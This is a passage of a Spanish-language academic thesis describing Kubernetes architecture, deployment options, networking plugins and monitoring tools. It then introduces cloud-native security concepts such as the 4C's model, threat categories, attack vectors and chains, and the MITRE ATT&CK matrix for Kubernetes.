Para interactuar con un cluster de Kubernetes es necesario comunicarse con su API. El API
de Kubernetes es la interfaz de acceso al plano de control y es el encargado de gestionar
las peticiones tanto internas (desde otros componentes) como externas (de un operador o
administrador del cluster).

El API determina si una peticion es valida y en caso de serlo, procesarla. Las peticiones son
llamadas REST y son generalmente operaciones CRUD para administrar recursos como
pods, servicios, entre otros. Estas peticiones se realizan generalmente con las herramientas
de linea de comandos kubectl [47] o kubeadm [48].

La implementacion principal del APl de Kubernetes es kube-apiserver. Este componente
esta disefiado para escalar horizontalmente, es decir, que escala mediante el despliegue de



mas instancias en el mismo o distintos servidores. Varias instancias de kube-apiserver son
capaces de balancear el trafico y asi soportar un cluster mas grande.

Ademas, es el Unico componente que se comunica con el cluster de etcd, asegurando que
los datos almacenados en etcd no terminen estando corruptos. Mas detalles pueden ser
consultados en [49], [50].

etcd:

Es un almacén de datos donde residen todos los datos de configuracién y la informacion
sobre el estado del cluster. Es tolerante a fallos y distribuido (etcd pueden ser varias
instancias organizadas a modo de cluster) y esta diseflado para ser la fuente principal de
“verdad” sobre el cluster.

Entre la informacion sensible del cluster almacenada se encuentra informacion de pods,
Secrets, etc. Por ello, es recomendable dedicar esfuerzos a su proteccion y tener un plan de
respaldo de esos datos ante eventos de desastres. Para mas detalles sobre el mismo, se
puede consultar su documentacion oficial [51].

kube-scheduler:

Es el componente del plano de control encargado de monitorear eventos de nuevos pods
gue no hayan sido asignados a un nodo. kube-scheduler tiene en cuenta la necesidad de
recursos de un pod (como CPU o memoria), asi como el estado de “salud” del cluster para
decidir a qué nodo worker asignar dicho pod.

kube-scheduler es el planificador por defecto de Kubernetes y esta disefiado para que, en
caso de ser necesario, podamos disefiar y hacer uso de nuestro propio componente de
planificacion.

Algunos factores avanzados que son tratados por kube-scheduler son restricciones a nivel
de hardwarelsoftwarelpoliticas de planificacién, especificaciones de afinidad [52], localidad
de los datos, entre otros. Para mas detalles se pueden consultar [53], [54].

kube-controller-manager:
En Kubernetes, los controladores son bucles de control que son realmente los encargados
de la ejecucion del cluster, pues constantemente observan el estado del cluster y solicitan
los cambios necesarios. Cada controlador intenta llevar el estado actual del cluster hacia un
estado deseado.
Kubernetes viene con un conjunto de controladores integrados que garantizan todos los
comportamientos basicos importantes. Estos controladores son procesos separados que
por temas de simplicidad son compilados en un solo binario y se ejecutan en un solo
proceso: kube-controller-manager.
kube-controller-manager es el componente del plano de control encargado de ejecutar
dichos procesos. Algunos tipos de controladores integrados por defecto son:
e Node controller: responsable de monitorear y reaccionar cuando los nodos estan
inaccesibles.
e Job controller: monitorea los jobs (tareas puntuales) y se encarga de la creacién de
pods para ejecutar dichas tareas.
e Endpoints controller: se encarga de poblar los endpoints (conectan servicios y
pods).
e Service Account & Token controllers: creacion de las cuentas predeterminadas y
los tokens para acceder al kube-apiserver en los nuevos namespaces.
Estos temas son abordados con mayor profundidad en [9], [55].



cloud-controller-manager:

Es el componente del plano de control que incorpora una légica de control especifica
dependiendo de los servicios en la nube utilizados. Al igual que kube-controller-manager,
cloud-controller-manager combina varios bucles de control independientes en un solo
binario y que también se ejecutan en un mismo proceso. Al igual que el kube-apiserver,
puede escalarse de manera horizontal para una mejora en el rendimiento o ayudar a tolerar
fallos.

El cloud-controller-manager solo ejecuta controladores que son especificos al proveedor de
la nube utilizado. En caso de haber desplegado Kubernetes en las propias instalaciones de
la organizacién o estemos en presencia de un entorno de experimentacion local en nuestra
propia PC, el cluster no contard con un cloud-controller-manager.

Para mas detalles, se puede consultar [56].

5.2.2. Plano de datos

El plano de datos es el encargado de ejecutar los pods (los elementos que conforman las
aplicaciones de los clientes) que han sido programados para ejecutarse en los nodos. Un
cluster de Kubernetes requiere al menos un nodo worker, pero en entornos reales de
produccién, el plano de datos estd compuesto por una gran flota de nodos. En casos donde
sea necesario escalar la capacidad de nuestro cluster, basta simplemente con agregar mas
nodos.

Cada nodo consta de varios componentes cuya ejecucion garantiza que los pods asignados
puedan ser ejecutados sin problemas. A continuacion se describen cada uno de ellos.

kubelet:

Cada nodo worker contiene un kubelet, una pequefia aplicacion (un agente) que se
comunica con el plano de control y cuyo propdsito es que los contenedores se ejecuten en
un pod. Cuando el plano de control necesita que cierta accion sea llevada a cabo en un
nodo, el kubelet es el encargado de ejecutar dicha accion.

De manera regular, el kubelet recibe nuevas especificaciones o modificaciones de otras ya
existentes (principalmente provenientes del kube-apiserver) y se asegura de que los
contenedores se estén ejecutando en el estado deseado. Por otra parte, se encarga de
reportar al plano de control acerca de la “salud” del nodo donde se esta ejecutando.

Detalles con mas profundidad pueden encontrarse en [57].

kube-proxy:

Cada nodo worker contiene también un kube-proxy, un proxy de red para facilitar la
comunicacion de red entre los servicios. kube-proxy gestiona las comunicaciones de red
tanto dentro como fuera del cluster mediante reglas de red en dichos nodos para permitir la
comunicacion de red hacia nuestros pods.

Para mas informacién sobre kube-proxy se puede consultar [58].

Container Runtime:

Para poder ejecutar contenedores, cada nodo worker necesita tener un container runtime
(motor de ejecucion de contenedores). Kubernetes soporta diversos container runtimes
como: Docker, containerd, CRI-O y cualquier otra implementaciéon de la Container Runtime
Interface (CRI).



Detalles adicionales pueden consultarse en [59], [60].

5.2.3. Complementos

Los complementos permiten agregar funcionalidades adicionales a Kubernetes y por tanto,
aumentar las capacidades del mismo. Estos complementos hacen usos de recursos nativos
de Kubernetes (DaemonSet, Deployment, etc.) para implementar funcionalidades a nivel de
cluster. Dado que las funcionalidades son a nivel de cluster, sus recursos pertenecen al
namespace kube-system.
Existe una lista extensa de complementos soportados por Kubernetes, ya sean propios o
desarrollados por terceros. Por ello, los autores de Kubernetes han mencionado que no se
hacen responsables de dichos proyectos de terceros. Estos complementos se agrupan en
varias categorias que vale la pena mencionar [61]:

e Redesy politicas de red

e Descubrimiento de servicios

e Visualizacién y control

e Infraestructura

5.3. Desplegando Kubernetes

Cuando nos referimos a desplegar y hacer uso de Kubernetes existen hoy en dia dos
posibilidades dependiendo de la entidad sobre la que recae la responsabilidad de
administrar el plano de control.

5.3.1. Kubernetes administrado por el proveedor (en la nube)

Cuando el cluster es administrado por un proveedor en la nube (Amazon, Google, Microsoft,
etc.), el plano de control es completamente administrado por un tercero. Entre los
proveedores mas conocidos y con una mayor cuota de mercado se encuentran [62]:

e Amazon Elastic Kubernetes Service (EKS): es una solucién de Kubernetes
gestionada proporcionada por AWS. Se basa en los componentes clave de AWS.

e Azure Kubernetes Service (AKS): es una plataforma de gestién de contenedores
gestionada que esta disponible en Microsoft Azure.

e Google Kubernetes Engine (GKE): fue uno de los primeros servicios gestionados
en ofrecer Kubernetes en la nube puablica. Al igual que otros CaaS basados en la
nube publica, GKE utiliza los servicios principales de Google Cloud Platform

e entre otros.

5.3.2. Kubernetes autoadministrado

En el caso en que se desee desplegar Kubernetes en un entorno local de prueba o en la
propia infraestructura de la organizacion, el plano de control es enteramente administrado
poOr NOSotros.

Existen diversas herramientas que pueden ser utilizadas en este contexto para desplegar un
cluster de Kubernetes de manera satisfactoria.



kubeadm:

Desplegar un cluster de Kubernetes con kubeadm es considerada una buena practica, ya
que esta herramienta realiza las acciones minimas necesarias para configurar un cluster
seguro de la manera mas simple posible [48], [63].

Kops:

Kops es una herramienta que permite administrar el ciclo de vida completo de un cluster de
Kubernetes en produccion: infraestructura, aprovisionamiento y eliminacién del cluster [64],
[65].

Kubespray:

Kubespray es una herramienta que puede ser utilizada con cualquier proveedor en la nube
o también en nuestra propia infraestructura. Es una composicién de playbooks de Ansible,
herramientas de aprovisionamiento (entre ellas la propia kubeadm) y conocimiento
especifico de tareas genéricas de gestion de configuracion de cluster de Kubernetes y
OpensShift [66], [67].

En el caso de entornos locales de prueba, y que como es de esperar no estan pensados
para entornos de produccion, existen otras herramientas ideales para estos escenarios.

minikube:

Minikube es una herramienta que permite ejecutar Kubernetes de manera local iniciado
hace varios aflos como un proyecto de Kubernetes SIGs [68]. Minikube crea un cluster de
Kubernetes de un solo nodo (plano de control y plano de datos juntos) en la PC local
creando una maquina virtual.

Minikube soporta diversos hipervisores, por lo que es compatible con los principales
sistemas operativos (Windows, Linux y MacOS) y puede ser usado para el trabajo de
desarrollo diario. Su sistema de complementos permite la integracion de componentes como
el Dashboard de Kubernetes, Helm, entre otros.

Para mas detalles sobre Minikube, se recomienda consultar [69].

kind:

Al igual que Minikube, kind o KinD (Kubernetes in Docker) permite ejecutar una version
local de Kubernetes, pero con la diferencia que los nodos son ahora contenedores de
Docker.

Es también un proyecto de Kubernetes SIGs y fue originalmente creado para realizar
pruebas a Kubernetes. Crear un cluster con KinD es mas rapido que usando Minikube, ya
que la creacién de una VM es un proceso mas costoso en términos de tiempo. Una
funcionalidad relevante para acelerar el ciclo de desarrollo es que permite cargar nuestras
imégenes al cluster sin necesidad de configurar un registro de imagenes.

Para mas informacion sobre KinD, revisar [70].

k3s:

K3s es una version “minificada” de Kubernetes desarrollada por Rancher Labs [71]. Al
eliminar funcionalidades prescindibles (funcionalidades alpha, descontinuadas, entre otras)
y utilizar componentes ligeros permitieron una reduccién considerable resultando en un
Unico binario de ~60MB. Al ser tan compacto, puede ser utilizado en dispositivos |oT como
Raspberry Pi, entre otros.



La funcionalidad de K3s de auto despliegue es de gran utilidad, especialmente en
escenarios de CI/CD, ya que todos nuestros ficheros de configuracion (manifiestos y charts
de Helm) son monitoreados, y nuestro cluster actualizado automaticamente. Para desplegar
Kubernetes con K3s existen herramientas como k3sup [72] que facilitan la configuraciéon del
cluster.

Para mas detalles sobre la herramienta, se recomienda consultar [73], [74].

5.3.3. Proveedor en la nube vs. autoadministrado

A la hora de decidir donde desplegar un cluster Kubernetes, como suele ocurrir, cada
enfoque tiene sus ventajas y desventajas. Depende de la compafiia, su estructura y
personal calificado en esta tecnologia para decidirse por una variante u otra.

Dos de los aspectos a tomar en cuenta son el costo y la flexibilidad. Por una parte, un
cluster de Kubernetes administrado por un proveedor tiene un costo de gestion mensual no
despreciable. Por otra parte, un cluster autoadministrado necesita de recursos como tiempo
y personal calificado para su gestion. Respecto a la flexibilidad, tener un control total del
cluster nos da mas opciones que las que tendriamos en un cluster aprovisionado en la
nube. En Ultima instancia, se deberan considerar los requerimientos especificos de nuestras
aplicaciones y aspectos como el tiempo disponible para la gestion, asi como el nivel de
habilidad en la tecnologia.

Como ya se ha mencionado con anterioridad, la seguridad en Kubernetes es una de las
grandes preocupaciones. En el caso de los proveedores en la nube existentes, la seguridad
es en parte gestionada por los proveedores, mientras que en un cluster desplegado en
nuestras propias instalaciones, recae completamente sobre la organizacion. En estos casos,
es importante valorar si es factible para la organizacion asumir esa responsabilidad, asi
como valorar si cuenta con el tiempo y los activos para llevar el tema de la seguridad del
cluster.

5.4. La red de Kubernetes

La comunicacion de red es un aspecto esencial de Kubernetes pero, dada su complejidad,
puede ser todo un desafio comprender con exactitud cual debe ser el comportamiento
esperado. La red en Kubernetes permite que los distintos componentes del cluster puedan
comunicarse unos con otros y con otras aplicaciones.
Kubernetes es diferente a otras plataformas ya que esta basado en una estructura de red
plana que permite desplegar sistemas distribuidos y compartir instancias entre aplicaciones
sin asignar puertos dinamicamente. Los distintos componentes del cluster (contenedores,
pods, nodos, aplicaciones, etc.) utilizan diferentes métodos para comunicarse por la red:
e Comunicacion (muy acoplada) Container-to-Container: que es resuelta a nivel de

pods mediante comunicacion con localhost.

Comunicacién Pod-to-Pod: que es un aspecto clave en Kubernetes.

Comunicacién Pod-to-Service: gestionado a nivel de servicio [75].

Comunicacién External-to-Service: gestionado a nivel de servicio [75].

5.4.1. Modelo de red de Kubernetes

En el modelo de red de Kubernetes, todo pod recibe una direccién IP lo que, debido a la
estructura de red plana, significa que no hay necesidad de crear enlaces entre pods. Como



los pods comparten el mismo namespace de red y tienen sus propias direcciones IP,
pueden encontrar y comunicarse con todos los otros pods en todos los nodos sin usar
Network Address Translation (NAT).

De esta manera, se tiene un modelo limpio y compatible donde los pods pueden ser
tratados como VMs o instancias fisicas desde la perspectiva de la asignacion de puertos,
nombrado, descubrimiento de servicios, balanceo de carga, etc.

Kubernetes impone los siguientes requisitos fundamentales para cualquier implementacion
de red (excepto en casos de una politica de segmentacion de red intencional):

e los pods en un nodo pueden comunicarse con todos los pods de todos los nodos sin
necesidad de NAT.

e los agentes en un nodo (e.g. kubelet) pueden comunicarse con todos los pods de
ese nodo.

e |os pods en la red del host de un nodo pueden comunicarse con todos los pods de
todos los nodos sin necesidad de NAT (solo en aquellos casos donde los pods
puedan correr en la red del host, e.g. Linux).

El modelo descrito tiende a ser menos complejo, pero es en principio compatible con la
intencion de Kubernetes de portar las aplicaciones de VMs a contenedores con la menor
friccion posible.

Para profundizar més en este aspecto, se recomiendan [76]-[78].

5.4.2. Plugins CNI

El modelo de red de Kubernetes antes descrito es principalmente descriptivo, es decir, que
cualquier red que satisfaga dicha especificacion es considerada una red tipo Kubernetes.
No obstante, Kubernetes no especifica como implementar dicho modelo. De hecho, existen
muchas implementaciones alternativas hoy en dia denominadas Network Plugins (plugins
de red) [79]. Pero, ¢como implementar un plugin de red compatible con el modelo de red de
Kubernetes?.

Container Network Interface (CNI) [80] consiste en una especificacibn acompafiada de
bibliotecas para implementar plugins que permitan configurar interfaces de red en
contenedores de Linux. Su Unico propésito es el de garantizar la conectividad entre los
contenedores y liberar los recursos cuando el contenedor sea eliminado.

El CNI actia como una interfaz entre el namespace de red y un plugin de red (o plugin CNI)
y la red de Kubernetes. Al cumplir con la especificacion CNI, los plugins CNI tienen la
capacidad de configurar la red dindAmicamente a medida que se crean y destruyen los pods.
También aprovisionan y administran las direcciones IP a medida que los contenedores se
crean y destruyen.

A continuacion se abordan algunos plugins CNI de los mas conocidos y que son relevantes
en este trabajo, aunque existe una gran cantidad de ellos [76], [79].

Calico:

Calico es una solucién para la red y la seguridad en la red para contenedores, VMs y
despliegues nativos basados en un host. Adicionalmente, es una soluciéon de red en toda
regla compatible con Kubernetes con funcionalidades que incluyen un controlador de
politicas de red, un reemplazo para kube-proxy y observabilidad del trafico de red.

La funcionalidad de CNI sigue siendo el elemento central de Calico y ademas de soportar
varios planos de datos (una de las cuatro capas que componen a Calico, responsable de
reenviar paquetes) [81]: un plano de datos de Linux basado en eBPF [82], el estandar plano



de red de Linux y uno de Windows HNS [83], [84]. A pesar de que Calico ofrece una
solucion completa, también puede ser utilizado en conjunto con CNIs de los proveedores en
la nube [85].

Para mas informacién sobre Calico, consultar [86], [87].

Cilium:

Cilium es un proyecto open-source para proveer y proteger de manera transparente la
conectividad en la red entre contenedores. Es compatible con la capa L7 / HTTP y es capaz
de hacer cumplir politicas de red a nivel de capas L3-L7 utilizando un modelo de seguridad
basado en la identidad desacoplado del direccionamiento de red.

En su nucleo, utiliza la potencia de eBPF para realizar una amplia gama de funcionalidades
gue van desde filtrado de tréfico (para las politicas de red) hasta servir de reemplazo para
kube-proxy.

Al igual que Calico, Cilium puede ser utilizado en combinacién con otros plugins de CNI.
Adicionalmente, forman parte de Cilium otros proyectos complementarios que vale la pena
resaltar: un editor de politicas de red NetworkPolicy Editor [88], [89] y una plataforma de
observabilidad de redes y seguridad Cilium Hubble [90], [91].

Para mas informacién sobre Cilium, se recomiendan [92], [93].

kindnet:

kindnet es un plugin CNI cuya principal meta es la de ser un plugin simple para Kubernetes
con soporte para IPv4 y IPv6 y que sea compatible con el modelo de red de Kubernetes.
Este plugin surgi6 debido a la falta de soporte para IPv6 en los plugins existentes y debido a
gue no existen alternativas automatizadas para la creacién de un cluster multi-nodos de
Kubernetes con IPv6.

kindnet funciona solamente en entornos de red “simples”, cuando todos los nodos del
cluster pertenecen a la misma subred. Con el tiempo, ha evolucionado afiadiendo nuevas
funcionalidades como un agente ipmasq [94], [95] y hoy en dia, es el plugin por defecto en
la distribucién KinD de Kubernetes.

Para mas detalles sobre kindnet, consultar [96].

5.5. Monitorizacion de recursos en Kubernetes

Como se ha visto hasta el momento, Kubernetes es una plataforma compleja integrada por
muchas partes. En tales escenarios, resulta de gran ayuda contar con herramientas y
aplicaciones que permitan la introspeccion de nuestro cluster.

A continuacion se abordan aquellas herramientas mas populares o que son relevantes para
nuestro trabajo, aunque existen muchas opciones para tales propadsitos [97].

Kubernetes Dashboard:

El Kubernetes Dashboard (o panel de Kubernetes) es una interfaz de usuario (Ul) web para
clusters de Kubernetes que permite a los usuarios administrar y depurar aplicaciones siendo
ejecutadas en el cluster, asi como administrar el cluster. El Dashboard también proporciona
informacién sobre el estado de los recursos del cluster y sobre errores que hayan tenido
lugar.

Para proteger los datos del cluster, el Dashboard estd desplegado por defecto con una
configuracion minima de Role-based access control (RBAC) (concepto que abordara mas
adelante) por defecto.



Para mas detalles, se recomiendan [98], [99].

Octant:

Octant es una herramienta open-source e interfaz web (Ul) para desarrolladores con el
propésito de permitir la inspeccidn de un cluster de Kubernetes y sus aplicaciones. Octant
se propone contribuir a que los desarrolladores tengan una vision en mayor profundidad y
se reduzca la complejidad inherente a Kubernetes. Ademas de la navegabilidad del cluster,
Octant ofrece una combinacién de herramientas de introspeccién, gestion de recursos y un
sistema de plugins para extender sus capacidades.

Para mas informacién respecto al tema, se recomiendan [100], [101].

Lens:
Lens IDE es una aplicacién visual (Ul), independiente para sistemas operativos como
Windows, Linux y MacOS que ofrece una vista panoramica de todo lo que se ejecuta en
Kubernetes. Lens reduce la barrera de entrada para personas que comienzan con
Kubernetes y ayuda a mejorar la productividad de personas con mas experiencia en la
tecnologia.
Algunos de los beneficios de usar Lens incluyen:

e Confianza de que un cluster esta correctamente instalado y configurado.

e Mayor visibilidad, estadisticas en tiempo real, flujos de logs y capacidades practicas

de depuracioén.

Para mas informacion sobre esta herramienta se recomiendan [102], [103].



6. Abordando la seguridad en Kubernetes

En los comienzos de Kubernetes, las configuraciones por defecto mantenian desprotegido
al plano de control de manera significativa. A pesar de que las configuraciones por defecto
han mejorado desde el punto de vista de la seguridad, existen muchos otros factores a tener
en cuenta, asi como modelos, frameworks, principios y estrategias de seguridad para una
mayor seguridad en nuestro cluster.

El propésito de este capitulo es el de cubrir en mayor profundidad estos factores clave para
mejorar el nivel de seguridad de nuestro cluster, tanto en una fase de instalacion y
configuracion (hardening), como en una fase posterior de defensa activa en tiempo de
ejecucioén (runtime protection).

6.1. Modelo de seguridad para la nube

Kubernetes contribuye de forma significativa al desarrollo y despliegue de aplicaciones
nativas en la nube basadas en microservicios, pues es regularmente desplegado en los
centros de datos de proveedores de la nube publica.

En general, el tema de la seguridad puede ser analizado a nivel de capas de proteccion
complementarias que contribuyen a la defensa en profundidad [104], y Kubernetes no es la
excepcion. Por este motivo, resulta razonable considerar modelos de seguridad de esta
naturaleza para el estudio de la seguridad en Kubernetes pero, ¢qué modelo existente se
ajustaria a Kubernetes para el anélisis de su seguridad?.

Un modelo existente y bastante reconocido para el disefio y visualizacién de arquitecturas
de software a diferentes niveles de detalles (0 capas) es el modelo de las 4 C's [105]. Este
modelo constituye un paradigma para el analisis de la seguridad en Kubernetes en el
contexto de la seguridad nativa en la nube y estd compuesto por cuatro capas: Cloud,
Cluster, Container y Code.
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Figura 7. Modelo de las 4 C’s aplicado a Kubernetes en el contexto de la seguridad
nativa en la nhube. (Fuente: kubernetes.io)



Este modelo se ajusta perfectamente a la arquitectura en la nube de Kubernetes (cuando es
desplegado en la nube, como ocurre en la mayoria de los casos) como han planteado los
propios autores de Kubernetes [106] (ver Figura 7). Cada capa se basa en la siguiente mas
externa. La seguridad en la capa de Code se beneficia de una buena seguridad en las
capas que la sustentan (Cloud, Cluster y Container) y por tanto, no es posible suplir
deficiencias de seguridad de capas mas externas en capas mas internas.

Para comprender el alcance y responsabilidades a considerar en cada capa, se recomienda
consultar [106], [107], asi como el capitulo destinado a las buenas practicas de seguridad
en Kubernetes que se tratara mas adelante.

6.2. Modelado de amenazas

Uno de los aspectos clave desde el punto de vista de la seguridad a considerar cuando
utilizamos Kubernetes en produccion, es nuestro modelo de amenazas. Un modelo de
amenazas es una representacion estructurada de toda la informaciéon que afecta la
seguridad de una aplicacién [108].

El modelado de amenazas es la familia de actividades planificadas y tiene como objetivo
identificar y evaluar las amenazas* y vulnerabilidades de las aplicaciones para mejorar la
seguridad. Adicionalmente, parte del proceso consistira en definir contramedidas para
prevenir y mitigar los efectos de las amenazas en el sistema.

6.2.1. Tipos de amenazas

Segun [109], [110], las posibles amenazas a un cluster de Kubernetes pueden agruparse en
tres grandes categorias:

e Atacantes externos

e Contenedores o nodos maliciosos

e Usuarios maliciosos (internal threats) o credenciales comprometidas

Atacantes externos:

En un entorno de Kubernetes, los componentes de su arquitectura pueden estar expuestos
al exterior y por tanto, son susceptibles a ataques externos. Estos componentes pueden
incluir el kube-apiserver, el kubelet y el cluster de etcd (ver Figura 6).

En el contexto de Kubernetes, como resultado de estos atagues externos, un atacante
podria obtener acceso al sistema o comprometer ciertos controles de seguridad que
impacten en la seguridad del cluster. En esta categoria el actor malicioso (threat actor) y los
controles de seguridad (security controls) se tipifican como sigue:

e Actor malicioso: Persona sin acceso al cluster a excepcién del acceso a las
aplicaciones corriendo en el cluster y/o los puertos de administracién
(kube-apiserver, kubelet, etcd, etc.).

e Controles de seguridad: Asegurar que los servicios de administracion (e.g.,
kube-apiserver, kubelet y etcd) no estén expuestos a redes que no son de confianza
sin controles de autenticacion activos.

Estas medidas se trataran en mayor profundidad en el capitulo 10 y posteriormente en el
capitulo 11.

4 Recordemos gue una amenaza es un evento indeseable potencial o real que puede ser
malintencionado (un ataque DoS) o incidental (falla de un dispositivo de almacenamiento).



Contenedores o nodos maliciosos:

Como ya se ha mencionado, los workloads en Kubernetes son ejecutados en pods que
pueden tener uno o varios contenedores. A su vez, dichos pods son distribuidos entre los
nodos worker de nuestra infraestructura. Si un contenedor o nodo es comprometido, existe
un riesgo de que mediante una estrategia de escalado de privilegios® el atacante pueda
tomar control de otros contenedores, nodos e incluso del cluster completo.

En esta categoria el actor malicioso (threat actor) y los controles de seguridad (security
controls) se tipifican de la siguiente manera:

e Actor malicioso: Un atacante que tiene acceso a un contenedor o un nodo
(posiblemente mediante una vulnerabilidad a nivel de alguna aplicacion) y tiene la
intencion de obtener el control de todo el cluster.

e Controles de seguridad:

o Configurar todos los puertos de administracion que sean visibles en la red del
cluster para que requieran autenticacion de todos los usuarios.

o Configurar los Service Accounts para que no sean montados en los
contenedores o0 que tengan permisos limitados (i.e. sin permisos de
administracion del cluster).

o Emplear mecanismos de aislamiento como namespaces, segmentacion de la
red (politicas de red), asi como algunos controles a nivel de sistema
operativo para limitar las capacidades de los contenedores.

Estos y otros controles de seguridad se detallaran en los capitulos 10 y 11.

Usuarios maliciosos o credenciales comprometidas:
Cuando las credenciales de un usuario legitimo han sido comprometidas o un usuario tiene
un comportamiento malicioso (insider threat), se tiene un usuario malicioso en el sistema.
Por tanto, resulta clave regular y limitar las acciones permisibles a usuarios en el cluster y
también el monitoreo de sus acciones.
Por otra parte, si el cluster no esta configurado correctamente, también podria dar paso al
uso indebido de los privilegios del usuario. En esta categoria el actor malicioso (threat actor)
y los controles de seguridad (security controls) se tipifican a continuacion:

e Actor malicioso: Un atacante con credenciales vélidas para ejecutar acciones en el

kube-apiserver ylo con acceso a la red.

e Controles de seguridad:

o Una defensa importante es tener politicas de control de acceso RBAC para
todos los usuarios proporcionando acceso con "minimos privilegios" a los
recursos del cluster.

o Otro control clave es el hardening, donde debemos proteger elementos del
cluster como contenedores, pods, nhamespaces, kubelets, entre otros; ésto
reduce significativamente la posibilidad del uso indebido de privilegios.

Estos controles de seguridad se detallaran mas adelante en el capitulo 10 y el capitulo 11.

6.2.2. Estrategias de ataque

Los ataques dirigidos a un cluster de Kubernetes pueden ser de naturaleza muy variada.
Desde ataques externos a la infraestructura a través de la red, hasta amenazas internas

> Mediante el kubelet, acceso a etcd, tokens de Service Accounts, tokens de APIs de AWS/Azure,
etc.



provenientes de usuarios maliciosos o0 ataques de phishing resultando en credenciales
comprometidas.

Ante esta gran cantidad de amenazas, resulta necesario formalizar todo este conocimiento
referente a los tipos de ataques y las estrategias llevadas a cabo por los atacantes. Para
ello, abordamos conceptos cominmente utilizados en el modelado y andlisis de amenazas
aplicados al contexto de un cluster de Kubernetes.

6.2.2.1. Vectores de ataque

Los vectores de ataque (attack vectors) son los puntos de entrada a un sistema que un
atacante puede explotar. Estos vectores son los medios utilizados por el atacante para llevar
a cabo actividades maliciosas en nuestro sistema.
Existen dos tipos de vectores de ataque: los directos y los indirectos. Los vectores de
atague directos son aquellos que afectan a la victima (target) de manera directa como
malwares o correos electronicos de phishing. Los indirectos son aquellos donde el atacante
de manera indirecta explota vulnerabilidades en otros sistemas a través de fuentes
intermedias (e.g. vulnerabilidad en un navegador web). Algunos de los vectores de ataque
posibles en un cluster de Kubernetes incluyen [109], [111]-[113]:
e Acceso a puertos de administracion del cluster (kube-apiserver, kubelet, etcd, etc.)
desde redes no confiables.
e Acceso al Service Account de un contenedor.
e Escalado de privilegios en contenedores permitiendo tomar el control del nodo y
eventualmente, del cluster.
Amenazas internas del personal con acceso al cluster.
Acceso a credenciales comprometidas.
entre otros.
Los vectores de ataque pueden estar dirigidos a diversas areas de nuestra organizacion
(ver Figura 8), por lo que es recomendable realizar un inventario de todos los vectores de
ataque posibles para nuestro escenario especifico.
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Figura 8. Superficie de ataque donde el eje y muestra los posibles vectores de ataque.
(Fuente: balbix.com)

6.2.2.2. Superficie de ataque

La superficie de ataque (attack surface) esta representada por todos los puntos donde un
adversario/atacante puede intentar ganar acceso a nuestro sistema. Puede ser interpretada
como la “suma” de todas las posibles exposiciones a riesgos de seguridad o como el
conjunto de todas las vulnerabilidades conocidas, desconocidas y potenciales, y los
controles en todos los componentes de hardware, software y red. En fin, la superficie de
atague puede ser descrita como la suma total de todos los “puntos de contacto atacables” o
exposiciones a riesgos de seguridad en la red.

Para una organizacion de talla media a larga, la superficie de ataque puede llegar a ser
considerablemente grande (ver Figura 8). Como se mencioné antes, el gje y representa los
vectores de ataque disponibles para nuestros adversarios, mientras que el eje x representa
todos nuestros activos digitales (activos de red, aplicaciones en la nube, etc.)

6.2.2.3. Cadena de ataque

Otro concepto bastante utilizado en el modelado de amenazas es el de cadena de ataque
(attack chain o attack path). La cadena de ataque es la identificacion de una o mas
vulnerabilidades que pueden ser explotadas (0 que lo han sido) por atacantes para obtener
acceso a distintos activos digitales y desplazarse en nuestra infraestructura, formando asi
una cadena de activos explotables [114].

Desde otra perspectiva diferente, la cadena de ataque también es interpretada como una
representacion visual del proceso continuo que tiene lugar durante la explotacion de varios
vectores de ataque por un actor malicioso. La cadena de ataque se centra en “conectar los
puntos” y observar el atague en su totalidad para determinar el riesgo al que se esta
expuesto (ver Figura 9) [12].
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Figura 9. Ejemplo de la cadena de ataque a Equifax en 2017. (Fuente: balbix.com)



En el caso especifico de Kubernetes, varias cadenas de ataques se abordan en mayor
profundidad posteriormente en el capitulo dedicado al disefio experimental, donde se
analizard en mayor detalle la secuencia de vectores de ataque utilizados en cada caso.

6.2.2.4. Arboles de ataque

Un concepto muy similar a las cadenas de ataque y también utilizado en el modelado de
amenazas son los éarboles de ataque (attack trees). Estos arboles son diagramas
conceptuales utilizados para mostrar como un activo digital puede ser atacado y por
consiguiente, todas las posibles amenazas que sufre la organizacion como consecuencia,
ramificAndose asi el arbol para contemplar todos los escenarios posibles [115].

Aunque esta estrategia de modelado se ha utilizado con anterioridad en el contexto de un
cluster de Kubernetes [116], [117], en este trabajo no seran empleados por su complejidad
(muchas ramificaciones) y en su lugar se emplearan las cadenas de ataques.

6.3. Framework de seguridad para Kubernetes

Las ciberamenazas y ciberatagues son mas comunes cada dia y la mejor forma de que una
organizacion enfrente estos desafios es implementar un plan estratégico de ciberseguridad
muy bien disefiado para proteger la infraestructura critica y los sistemas de informacién: en
otras palabras, un framework de ciberseguridad.

Un framework de ciberseguridad es una compilacion de buenas practicas que toda
organizacion deberia seguir para gestionar cualquier riesgo de ciberseguridad. También
incluye instrucciones precisas que deben seguir las organizaciones para gestionar los datos
personales para evitar los riesgos relacionados con la seguridad.

Segln un reporte sobre la adopcion de frameworks de ciberseguridad [118], ya desde 2016
se ha incrementado su uso, ya que “hasta el 84% de las empresas en Estados Unidos
abordan los problemas de ciberseguridad mediante la adopcién de varios frameworks de
ciberseguridad”. Los frameworks mas adoptados segun el reporte son:

e Healthcare Insurance Portability and Accountability Act (HIPAA): es una ley
federal (de Estados Unidos) que requiere la creacion de estandares nacionales para
proteger la informacion confidencial de salud del paciente para que no se divulgue
sin el consentimiento o conocimiento del mismo.

e NIST Cybersecurity Framework: guia sobre como las partes involucradas (tanto
internas como externas) de las organizaciones pueden gestionar y reducir el riesgo
de ciberseguridad.

e Reglamento General de Proteccion de Datos (RGPD): es el reglamento europeo
relativo a la proteccién de las personas fisicas en lo que respecta al tratamiento de
sus datos personales y a la libre circulacion de estos datos.

e Payment Card Industry Data Security Standard (PCI-DSS): estandar de seguridad
de la informacién para organizaciones que manejan tarjetas de crédito emitidas por
los principales procesadores de pago (Visa, MasterCard, etc.).

Pero, ¢alguno de estos frameworks se ajusta a Kubernetes?, ¢existe algtn otro framework
que se ajuste a Kubernetes?. El framework MITRE ATT&CK® [119] es una base de
conocimientos globalmente accesible de tacticas adversariales y técnicas basadas en
observaciones en el mundo real. Una matriz de ataque de MITRE ATT&CK® cubre las



distintas etapas involucradas en los ciberataques (tacticas) y profundiza en los métodos
conocidos para cada una de ellas (técnicas).

Recientemente [120], [121], Microsoft creé una matriz de ataque para Kubernetes que
incluye las principales técnicas relevantes para la seguridad de la orquestacion de
contenedores, con especial atencion a Kubernetes (ver Figura 10).
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Figura 10. Matriz de ataque de MITRE ATT&CK® para Kubernetes.

En este trabajo se usara el framework MITRE ATT&CK® con esta matriz de ataque creada
